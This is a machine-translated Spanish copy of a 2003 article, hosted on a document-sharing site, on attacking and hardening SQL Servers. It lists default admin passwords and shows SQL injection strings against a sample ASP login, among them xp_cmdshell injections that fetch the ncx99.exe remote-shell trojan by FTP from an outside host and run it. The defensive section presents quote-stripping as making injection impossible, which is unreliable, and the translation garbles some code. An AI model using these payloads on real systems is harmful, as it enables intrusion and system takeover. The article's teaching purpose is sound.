12
Página 1 Ataques de SQL Server: Hacking, cracking, y la protección técnicas. En esta era de la información, el servidor de datos se ha convertido en el corazón de una empresa. Este pieza de software controla el ritmo de la mayoría de las organizaciones y se utiliza para bombear información vital a través de las arterias de la red. Debido a la naturaleza crítica de la esta aplicación, el servidor de datos es también uno de los objetivos más populares para los hackers. Si un hacker posee esta aplicación, que puede causar la compañía "corazón" de sufrir un paro fatal. Irónicamente, aunque la mayoría de los usuarios son conscientes de los piratas informáticos, que todavía no se dan cuenta susceptibles a sus servidores de bases de datos son para cortar los ataques. Por lo tanto, este artículo presenta un descripción de los métodos principales de los servidores de base de datos de ataques (también conocido como SQL servidores) y muestra cómo protegerse de estos ataques. Debe tener en cuenta que esta información no es nueva. Muchos libros blancos técnicos entran en un gran vulnerabilidades de los detalles acerca de cómo realizar ataques SQL, y se han publicado numerosos a listas de seguridad que describen exactamente cómo ciertas aplicaciones de base de datos puede ser explotado. Este artículo fue escrito para los curiosos no SQL expertos que no se preocupan de conocer la detalles, y como una revisión a los que hacen uso de SQL con regularidad. Para obtener información detallada sobre ataques específicos, consulte la sección de referencias al final de este artículo. ¿Qué es un SQL Server? Una aplicación de base de datos es un programa que ofrece a sus clientes acceso a los datos. Hay muchas variaciones de este tipo de aplicaciones, que van desde la cara a nivel de empresa Microsoft SQL Server a la libre y de código abierto MySQL. A pesar del sabor, la mayoría de los aplicaciones de base de datos de servidor tienen varias cosas en común. En primer lugar, las aplicaciones de base de datos utilizan el mismo lenguaje de programación general conocido como SQL, o Lenguaje de consulta estructurado. Este lenguaje, también conocido como un lenguaje por el cuarto nivel a su sintaxis simple, está en el centro de cómo un cliente se comunica su petición a la servidor. Uso de SQL en su forma más simple, un programador puede seleccionar, agregar, actualizar y eliminar información en una base de datos. Sin embargo, SQL también se pueden utilizar para crear y diseñar toda bases de datos, realizar varias funciones en la información enviada, e incluso ejecutar otros

71538475 Ataques de SQL Server

Embed Size (px)

Citation preview

Page 1: 71538475 Ataques de SQL Server

Página 1 Ataques de SQL Server: Hacking, cracking, y la protección técnicas. En esta era de la información, el servidor de datos se ha convertido en el corazón de una empresa. Este pieza de software controla el ritmo de la mayoría de las organizaciones y se utiliza para bombear información vital a través de las arterias de la red. Debido a la naturaleza crítica de la esta aplicación, el servidor de datos es también uno de los objetivos más populares para los hackers. Si un hacker posee esta aplicación, que puede causar la compañía "corazón" de sufrir un paro fatal. Irónicamente, aunque la mayoría de los usuarios son conscientes de los piratas informáticos, que todavía no se dan cuenta susceptibles a sus servidores de bases de datos son para cortar los ataques. Por lo tanto, este artículo presenta un descripción de los métodos principales de los servidores de base de datos de ataques (también conocido como SQL servidores) y muestra cómo protegerse de estos ataques. Debe tener en cuenta que esta información no es nueva. Muchos libros blancos técnicos entran en un gran vulnerabilidades de los detalles acerca de cómo realizar ataques SQL, y se han publicado numerosos a listas de seguridad que describen exactamente cómo ciertas aplicaciones de base de datos puede ser explotado. Este artículo fue escrito para los curiosos no SQL expertos que no se preocupan de conocer la detalles, y como una revisión a los que hacen uso de SQL con regularidad. Para obtener información detallada sobre ataques específicos, consulte la sección de referencias al final de este artículo. ¿Qué es un SQL Server? Una aplicación de base de datos es un programa que ofrece a sus clientes acceso a los datos. Hay muchas variaciones de este tipo de aplicaciones, que van desde la cara a nivel de empresa Microsoft SQL Server a la libre y de código abierto MySQL. A pesar del sabor, la mayoría de los aplicaciones de base de datos de servidor tienen varias cosas en común. En primer lugar, las aplicaciones de base de datos utilizan el mismo lenguaje de programación general conocido como SQL, o Lenguaje de consulta estructurado. Este lenguaje, también conocido como un lenguaje por el cuarto nivel a su sintaxis simple, está en el centro de cómo un cliente se comunica su petición a la servidor. Uso de SQL en su forma más simple, un programador puede seleccionar, agregar, actualizar y eliminar información en una base de datos. Sin embargo, SQL también se pueden utilizar para crear y diseñar toda bases de datos, realizar varias funciones en la información enviada, e incluso ejecutar otros

Page 2: 71538475 Ataques de SQL Server

programas. Para ilustrar cómo se puede utilizar SQL, lo siguiente es un ejemplo de un simple SQL estándar consulta y una consulta SQL más potente: Simple: "Select * from dbFurniture.tblChair" http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie

Página 2 Esto devuelve toda la información en la tabla de la tblChair dbFurniture base de datos. Complejo: "EXEC master .. xp_cmdshell 'dir c: \" Este corto de comandos SQL devuelve al cliente la lista de archivos y carpetas en el directorio c: \ directorio del servidor SQL. Tenga en cuenta que este ejemplo se utiliza un procedimiento almacenado extendido que es exclusivo para MS SQL Server. La segunda función que el servidor de base de datos de aplicaciones en común es que todos ellos requieren algunos forma de conexión autenticada entre el cliente y el host. Aunque el lenguaje SQL bastante fácil de usar, al menos en su forma básica, cualquier cliente que quiera realizar consultas deben primero ofrecer algún tipo de credenciales que se autorice el cliente, el cliente también debe definir el formato de la solicitud y la respuesta. Esta conexión se define por varias características, dependiendo de la ubicación relativa de la cliente y qué sistemas operativos están en uso. Podríamos pasar todo un artículo discutiendo diversas tecnologías, tales como las conexiones DSN, DSN-less, RDO, ADO, y más, pero estos temas están fuera del alcance de este artículo. Si desea obtener más información de ellos, un poco Google'ing le proporcionará información más que suficiente. Sin embargo, la siguiente es una lista de los elementos más comunes incluidos en una conexión solicitud. • Base de datos fuente • Tipo de solicitud • Base de datos • ID de usuario • Contraseña Antes de que pueda realizar la conexión, el cliente debe definir qué tipo de servidor de base de datos que se está conectando. Esto es manejado por un componente de software que proporciona al cliente las instrucciones necesarias para crear la solicitud en el formato correcto. Además de los tipos

Page 3: 71538475 Ataques de SQL Server

de la base de datos, el tipo de solicitud se puede utilizar para definir con mayor precisión cómo la petición del cliente se manejadas por el servidor. Luego viene el nombre de base de datos y, finalmente, la autenticación de la de la información. Toda la información de conexión es importante, pero por el momento es el eslabón más débil de la información de autenticación [MD] o falta de ella. En un servidor se gestiona adecuadamente, cada base de datos tiene sus propios usuarios con permisos específicamente designados que controlar qué tipo de actividad que pueden realizar. Por ejemplo, una cuenta de usuario se configura como de sólo lectura para aplicaciones que necesitan para acceder sólo a la información. Otra cuenta se debe utilizar para inserciones o actualizaciones, y tal vez incluso una tercera cuenta se utilizará para las eliminaciones. Este tipo http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie

Página 3 de control de cuentas se asegura de que cualquier cuenta comprometida es limitada en su funcionalidad. Desafortunadamente, muchos programas de bases de datos están configurados con contraseñas nulas o fácil, lo que conduce a ataques de hackers éxito. Los ataques directos Ahora que usted entiende los fundamentos de comandos SQL y los requisitos que deben se reunieron para un cliente para realizar una conexión de base de datos, vamos a echar un vistazo a cómo un hacker puede el abuso de estas tecnologías para sus propios fines. Al igual que muchos otros basados en computadora tecnologías, a menudo no es el producto que está en falta, sino que la culpa es de la implementación. Todas las aplicaciones de servidor SQL tiene una cuenta de administrador por defecto. Esta cuenta se utiliza por el administrador de base de datos para crear bases de datos, crear cuentas de usuario, asignar permisos, y mucho más. Sin embargo, cuando una aplicación de servidor de base de datos está instalada, esta cuenta debe tienen una contraseña por defecto para que el administrador de base de datos (DBA) pueden acceder a la base de datos software para la configuración requerida y las tareas de configuración. La siguiente es una lista de la mayoría de los aplicaciones de bases de datos comunes y sus cuentas de DBA por defecto: Nombre Usuario Contraseña Oráculo sistema

Page 4: 71538475 Ataques de SQL Server

oráculo MySQL (Windows) raíz nulo MS SQL Server SA nulo DB2 dlfm ibmdb2 Esta lista de nombres de usuario / contraseña no es complejo y se puede encontrar en cualquier número de Web sitios. Por esta razón, una de las primeras tareas de un DBA se insta a realizar cuando la creación de y la configuración del servidor SQL es asignar una contraseña segura para el programa de base de datos cuenta de administrador (root, sa, sistemas, dlfm). Por desgracia, esto es a menudo completamente ignorado o pospuesto hasta que se olvida. En otras palabras, cualquier hacker que tropezó en este servidor conectado a Internet por completo podía tener los datos en él [md] y tal vez la red a la que el servidor está conectado. Además de la falta de contraseñas, administradores de bases que muchos utilizan contraseñas débiles que se pueden encontrar en un diccionario, que son cortas (menos de seis caracteres), o que son nombres comunes, lugares, o eventos. Estas bases de datos también están sentados objetivos para casi cualquier pirata informático que detecta la Software de servidor SQL a través de un escaneo de puertos. Como a continuación veremos de ejemplo, el uso de programas, un hacker http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie

Página 4 puede simplemente tirar las contraseñas en el servidor SQL hasta que se rompe. Si la contraseña no se encuentra o es débil, será sólo cuestión de minutos antes de que tenga acceso a los datos. La siguiente se muestra cómo un hacker en primer lugar de la sonda y posteriormente un ataque SQL servidor. Encontrar un servidor de SQL es una tarea sencilla. Simplemente toma un puerto configurado correctamente escáner o una secuencia de comandos SQL escáner, para crear una lista de objetivos. Por ejemplo, SQLScanner, que es un programa en línea disponibles (incluido en la suite SQLTools), permite a un hacker escaneo de decenas de miles de computadoras en un solo disparo en busca de servidores MS SQL. (Ver Figura 1.) Figura 1 SQLScanner de sondeo para servidores SQL a través de Internet.

Page 5: 71538475 Ataques de SQL Server

Una vez que el hacker tiene una lista de objetivos, el siguiente paso es investigar cada servidor para obtener más información sobre la versión, el puerto, y el método por el cual acepta las peticiones entrantes. La figura 2 ilustra la SQLPing programa, que también forma parte de la suite de SQLTools. http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie

Página 5 Figura 2 SQLPing recopilación de información sobre un objetivo potencial. Este programa le dice que el hacker cómo conectarse a la base de datos y los métodos que pueden o puede que no funcione. Además, se proporciona el nombre del servidor SQL, que puede ser útil cuando adivinar las contraseñas y determinar el propósito del servidor. A continuación, una piratas informáticos del servidor de SQL para las cuentas débiles. Usando un programa como SQLDict o SQLCracker (también incluido en la suite SQLTools), un hacker puede rápidamente y sistemática un archivo de diccionario y probar la fuerza de un servidor SQL. Desafortunadamente, un análisis que dura no más de cinco minutos vuelve a menudo algunos resultados positivos los resultados. Una vez que un hacker tenga acceso a una cuenta de DBA, o incluso una cuenta de usuario normal, el siguiente paso es el uso de ese nombre de usuario y contraseña para conectarse a un servidor de base de datos y tomar posesión de esos datos. En otras palabras, este hacker puede descargar, actualizar y eliminar datos en su antojo. Este tipo de control no puede venir como una sorpresa, pero estaba consciente de que un cuenta la base de datos también puede dar acceso a un pirata informático completo para el sistema de archivos en un servidor, o incluso a los archivos en la red a la que está conectado? http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie

Página 6 Para mostrar el poder de acceder a DBA, vamos a ilustrar una de las muchas maneras en que un hacker puede abuso de un servidor SQL Server para obtener de forma anónima el acceso a sus archivos a través de una cuenta DBA secuestrados. En primer lugar, un hacker necesita un método de envío de las solicitudes anónimas a un servidor de base de datos. Afortunadamente, esto sólo requiere un sitio Web que está alojado en una compañía que apoya scripting. En un sitio Web remoto, un hacker puede programar o cargar sólo un script que se conecta y proporciona una petición al servidor SQL. Un ejemplo de este tipo de aplicación

Page 6: 71538475 Ataques de SQL Server

se puede encontrar en www.aspalliance.com / mtgal / source_code / tsql.exe Una vez extraído, este Archivo ASP proporciona a sus usuarios con la posibilidad de introducir manualmente una cadena de conexión que se establece una conexión con un servidor SQL remoto. Una vez conectado, esta aplicación ASP envía el entró comandos SQL a la meta y los resultados los resultados. A pesar de un guión como este tiene grandes usos legítimos, es fácil ver cómo también puede ser abusado. El siguiente paso es enviar una solicitud autenticada con el servidor SQL de base de datos que contiene un de comandos que ayuda a que el hacker tener acceso completo al servidor. Un método popular es utilizar el procedimiento almacenado extendido xp_cmdshell se incluye con MS SQL Server. Este guión en realidad sirve como un portal para el archivo cmd.exe del servidor. En otras palabras, un SQL comando puede mover archivos o realizar un listado de directorio. Sin embargo, este comando puede tomar formas nefastas, incluyendo el uso de TFTP para descargar ncx99.exe (un shell remoto populares Trojan) o copia de usuario del servidor de archivos SAM cuenta en la carpeta raíz del servidor Web para que se puede descargar de forma anónima y luego roto. El punto es que la base de datos programa en el servidor es uno de los muchos temas posibles que pueden verse amenazados por un ataque directo SQL. Por ejemplo, la Figura 3 se muestra un ataque a un servidor MS SQL que explota a un DBA cuenta con una contraseña nula. En este ejemplo, estamos usando el discutido previamente tsql.asp aplicación (con una ligera modificación) para enviar una serie de peticiones a la meta que dará lugar a la descarga y ejecución de un troyano de una línea de servidores FTP. Figura 3 http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie

Página 7 Utilizando TSQL.ASP enviar. A partir de esta ilustración, se puede ver el poder que una cuenta DBA puede tener en un SQL servidor. El uso de métodos como éste, un hacker puede tener un control total de un servidor en cuestión de segundos. Los ataques indirectos (SQL Injection) Un ataque directo a un servidor SQL Server no siempre es el mejor enfoque para un hacker. Para ejemplo, si la cuenta DBA tiene una contraseña segura, podría tomar años para crack. En

Page 7: 71538475 Ataques de SQL Server

Además, muchos servidores SQL no están conectados directamente a Internet, sino que son escondido a buen recaudo detrás de un firewall. A pesar de estos escenarios son los obstáculos válido por un ataque de hackers, siempre hay algo más que una forma de violación de la seguridad. Un ataque indirecto a un servidor SQL Server se realiza mediante un programa que interactúa con la base de datos. Esto generalmente toma la forma de un motor de búsqueda, la forma de autenticación de usuarios, o incluso un programa de correo electrónico de recogida de direcciones. La debilidad no se encuentra en la base de datos servidor o incluso en la autorización débil. En su lugar, se encuentra en la forma en que el programa secuencias de comandos está escrito. En otras palabras, este tipo de ataque es a menudo el resultado de un programador error, no un error del servidor SQL. Para ilustrar esto, echemos un vistazo a un motor de búsqueda simple que se puede encontrar en una tienda en línea. Cuando una persona entra en el nombre del elemento que le interesa, esta información se coloca en una consulta SQL. Por ejemplo, el siguiente podría ser una petición SQL si el usuario está en busca de información sobre los muebles: "SELECT * FROM tblStore donde descripción =" $ Palabra de búsqueda.. ";" La última cadena SQL enviada al servidor SQL se verá como sigue: "SELECT * FROM tblStore donde descripción =" mobiliario ";" Nota cómo la palabra de búsqueda completa se coloca entre las comillas simples, y también la nota; que indica el final de una consulta SQL. El servidor toma esta solicitud y enviar toda la información de la tabla que cumple con estos criterios. Sin embargo, con un pequeño giro en la búsqueda de la palabra, un hacker podría empezar a trabajar su camino hacia el corazón del servidor. Por ejemplo, ¿qué pasaría si un hacker colocó la siguiente cadena en el campo de búsqueda: 'Muebles'; * DELETE de tblStore; " Ahora, en lugar de una simple solicitud, el servidor SQL recibirán las siguientes dos comandos: http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie

Página 8 "SELECT * FROM tblStore donde descripción = 'muebles'; DELETE * de tblStore; " En otras palabras, el servidor SQL en primer lugar realizar una búsqueda rápida de la tabla para el búsqueda de la palabra de los muebles. A continuación, se sigue esta búsqueda con la supresión completa de la contenido de la tabla! El ejemplo anterior ilustra el daño que se puede hacer, pero muchos otros métodos de

Page 8: 71538475 Ataques de SQL Server

ataque puede realizarse utilizando esta técnica. Por ejemplo, una cadena SQL se puede crear que consulta al servidor de base de datos para la información de la cuenta de usuario almacenados en el maestro base de datos, o que se ejecuta un procedimiento almacenado extendido, como el que xp_cmdshell discutido previamente. Para ilustrar esto, hemos creado una base de datos llamada "Usuarios" y el formulario de página Web que se utiliza para autenticar a los usuarios Web. Como se ilustra en la Figura 4, se presenta al usuario con dos campos pidiendo un nombre de usuario y contraseña. Normalmente, un usuario que introduzca la información y haga clic en Enviar. Esta información se utiliza para crear un comando de SQL que tiraría de la información del usuario de la base de datos del usuario y luego comparar los existentes contraseña para la contraseña introducida. Listado 1 es un script de ejemplo que hacer esto, una explicación de cómo funciona la siguiente. Figura 4 Típico basado en la Web de usuario / contraseña de entrada la forma. Listado 1: Ejemplo de secuencias de comandos 1 <% 2 myDSN = "PROVIDER = MSDASQL; DRIVER = {SQL Server};" 3 = myDSN myDSN y "server = 127.0.0.1; DATABASE = usuarios"; http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie

Página 9 4 = myDSN myDSN & "UID = sa; PWD WKDISLA ="; 5 6 set conn = Server.CreateObject ("ADODB.Connection") 7 conn.Open myDSN 8 9 username = Request.QueryString ("username") 10 enteredpassword = trim (Request.QueryString ("password")) 11 si el nombre de <> "" y luego 12 13 mySQL = "SELECT * FROM tblUsers DONDE username = '" + nombre de usuario &"';" 14 15 set rs = conn.Execute (MySQL) 16 rs.MoveNext 17 password = trim (rs.Fields ("password")) 18 19 si enteredpassword password = entonces 20 response.write "Contraseña correcta" 21 más 22 response.write "Contraseña incorrecta" 23 end if 24 end if%>

Page 9: 71538475 Ataques de SQL Server

Las líneas 1 [sf] 7 se establece la cadena de conexión para enviar datos a un servidor SQL. Tenga en cuenta que la contraseña es fuerte, lo que significa que un hacker no puede atacar directamente la base de datos servidor. Las líneas 9 [sf] 10 capturar el nombre de usuario de entrada / contraseña introducidos por el usuario. Línea 11 controles para garantizar que hay un nombre de usuario introducido. Aunque esta es una forma de la validación, no es suficiente para detener la inyección de SQL. La línea 13 muestra la cadena de SQL que se utiliza para consultar la base de datos. Las líneas 15 [nd] 17 recuperar la contraseña del usuario de la base de datos. Las líneas 19 [nd] 23 comprobar para ver si la contraseña introducida coincide con la contraseña de la base de datos. Normalmente, esta etapa de la escritura ya sea que el usuario pasa a una parte segura de la Sitio web o patadas al usuario de vuelta, en función de los resultados de esta validación simple. Cuando se utiliza como se esperaba, el script crea el siguiente comando de SQL, como se muestra en La línea 13. Si el usuario ha introducido seth como el nombre de usuario, la siguiente cadena de SQL que se enviará con el servidor SQL: "SELECT * FROM tblUsers DONDE username = 'Seth'"; Esta consulta devuelve el valor de sethpass (suponiendo que esta era la contraseña de la lista) a partir de la base de datos, que luego se comparará con el valor introducido por el usuario contraseña. http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie

Página 10 Aunque esto parece ser bastante segura, si un hacker se encuentra el formulario Web, que podría inyectar su propio comando SQL en la base de datos a través del campo nombre de usuario. De hecho, si un hacker sabía que la cuenta de usuario pero no la contraseña, que fácilmente podría actualizar la base de datos con una contraseña de su elección. El siguiente ejemplo ilustra esto: Nombre de usuario introducido: "Seth", actualización de la contraseña conjunto tblUsers = "hacker", donde username = "Set" Contraseña introducida: n / a SQL cadena enviada al servidor: "SELECT * FROM tblUsers DONDE username = 'Set'; actualización de la contraseña conjunto tblUsers = "hacker", donde username = "Set" Tenga en cuenta que la última cadena SQL es en realidad la concatenación de dos cadenas individuales. Este está permitido por defecto en la mayoría de bases de datos, y se puede utilizar de muchas maneras legítimas.

Page 10: 71538475 Ataques de SQL Server

Sin embargo, en este caso, el hacker actualizado la contraseña de Seth a una contraseña de su elección (pirata informático). Ahora todo lo que el hacker tiene que hacer es volver al formulario de usuario / contraseña y seth entrar como el usuario y hackers como la contraseña para acceder al sitio. Este mismo tipo de ataque puede ser usado para forzar al SQL para ejecutar la misma extendida procedimientos almacenados que se utilizan en la sección de ataque directo. Por ejemplo, los siguientes las entradas de nombre de usuario se traducirá en la creación y ejecución de un troyano popular: ** Crea un archivo para ser usado por FTP ** Seth, ejecutivo de xp_cmdshell '"echo abrir 192.168.10.12">> c: \ hack.txt; Seth, ejecutivo de xp_cmdshell '"USER echo">> c: \ hack.txt; Seth, ejecutivo de xp_cmdshell '"echo PASS">> c: \ hack.txt; Seth, ejecutivo de xp_cmdshell '"echo GET ncx99.exe">> c: \ hack.txt; Seth, ejecutivo de xp_cmdshell '"echo quit">> c: \ hack.txt; ** Utiliza el archivo creado anteriormente para el control de una sesión de FTP ** ; Exec xp_cmdshell 'Seth FTP.EXE-s: C: \ hack.txt; ** Ejecuta el troyano descargado ** Seth, ejecutivo de xp_cmdshell 'c: \ windows \ system32 \ ncx99.exe; Este ejemplo ilustra los peligros de la programación inadecuada e impropia de servidores SQL de gestión. Sin embargo, cabe señalar que la inyección de SQL a menudo lleva a una detallada comprensión de los comandos SQL y lenguajes de scripting, y una buena comprensión de cómo estas tecnologías trabajan juntas. Aunque los sitios Web que son vulnerables a SQL técnicas de inyección son muy comunes, esto no suele ser fácil de explotar, y se puede tomar varias horas antes de encontrar la combinación correcta de caracteres y comandos. En muchos manera, un hacker SQL tiene que trazar las funciones de los scripts ocultos usando por ensayo y error. http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie

Página 11 Protección y prevención Ahora que se han introducido en los métodos que un hacker puede tener acceso a el servidor SQL, vamos a discutir cómo un servidor SQL Server se puede asegurar y demostrar que la forma de guiones de programas que sean menos vulnerables a ataques de inyección SQL. Lo primero que debe hacerse en todos los servidores de base de datos es el de asignar una contraseña segura a la cuenta de DBA. En segundo lugar, el DBA debe crear cuentas de usuario y asignar a estos usuarios para actividades específicas o bases de datos. Por ejemplo, si una cuenta de usuario se ha creado para la

Page 11: 71538475 Ataques de SQL Server

"Los usuarios de bases de datos, que no tienen acceso a la base de datos principal, cualquier intento de utilizar los procedimientos almacenados extendidos (como xp_cmdshell) no funcionará. A continuación, cualquier variable introducida por el usuario debe ser despojado de varios personajes clave que se necesario para la inyección SQL. Esto incluye lo siguiente: "/ \ * & () $% ^ @`? Esto podría incluir, más en función de las necesidades del guión. Añadiendo lo siguiente a la el guión previamente en la lista, cualquier intento de inyección SQL se haría imposible: nombre de usuario = replace (nombre de usuario, ','') nombre de usuario = replace (nombre de usuario ";", "") Esto eliminaría todas las comillas sencillas y puntos y comas de la cadena de consulta y se han convertido a la cadena de inyección en lo siguiente: "Seth actualización de la contraseña conjunto tblUsers = hackers donde username = seth" Esta cadena se han interpretado como basura por el servidor SQL y se han sido rechazada, por lo tanto detener el ataque de inyección SQL. A continuación, asegúrese de que todas las cuentas tienen contraseñas seguras. No hay excusa para un DBA cuenta para tener una contraseña en blanco. Incluso si el servidor es para propósitos de prueba, si un hacker pueden tener acceso a ese servidor, también puede acceder a cualquier otro ordenador conectado a SQL red local del servidor. Por último, algunos cambios se pueden hacer a las configuraciones del servidor de registro y SQL reforzará la seguridad mediante la eliminación o limitación de procedimientos extendidos y otros rara vez se utiliza funciones. Esto incluye la eliminación del procedimiento xp_cmdshell almacenados, o cambiar el nombre de por lo menos que. Además, puede usar REGEDIT para ajustar el valor de la siguiente 1: HKEY_LOCAL_MACHINES \ Software \ Microsoft \ Microsoft SQL Server \ <nombre \ Providers \ DisallowAdhocAccess a 1 http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie

Página 12 O si se utiliza el valor por defecto, HKEY_LOCAL_MACHINES \ Software \ Microsoft \ MSSQLServer \ MSSQL \ DisallowAdhocAccess Esto desactiva todos los OLE DB consultas ad-hoc del servidor SQL. Resumen Este artículo proporciona una visión general de los dos métodos principales mediante los cuales los servidores SQL hackeado y abusado. El primer método consiste en DBA contraseñas débiles o inexistentes. Uno de los relatos más buscados después de DBA es la cuenta del administrador que utiliza MS SQL Server.

Page 12: 71538475 Ataques de SQL Server

Esto se debe principalmente a MS SQL Server incluye varios muy potente almacenado extendido procedimientos que le dan un DBA [MD] o un hacker [md] un acceso completo al sistema de archivos del servidor. El segundo método de ataque es a través de técnicas de inyección SQL que el abuso de los pobres programación o configuración incorrecta en el servidor SQL para permitir que un hacker acceda, sobrescribir o eliminar la información en el servidor de datos. Además, si el servidor es atacado MS SQL, el procedimiento extendido xp_cmdshell infame puede proporcionar un hacker con una herramienta para hacerse cargo del sistema de archivos del servidor. En resumen, un servidor de SQL es el corazón de su empresa. Puede ser un grave de seguridad amenaza a sus datos. Afortunadamente, la implementación adecuada de las prácticas de codificación y la garantía de que el servidor SQL está configurado correctamente hace que un servidor de base de datos segura. http://www.airscanner.com (C) 2003 Ciro Peikari, Seth Fogie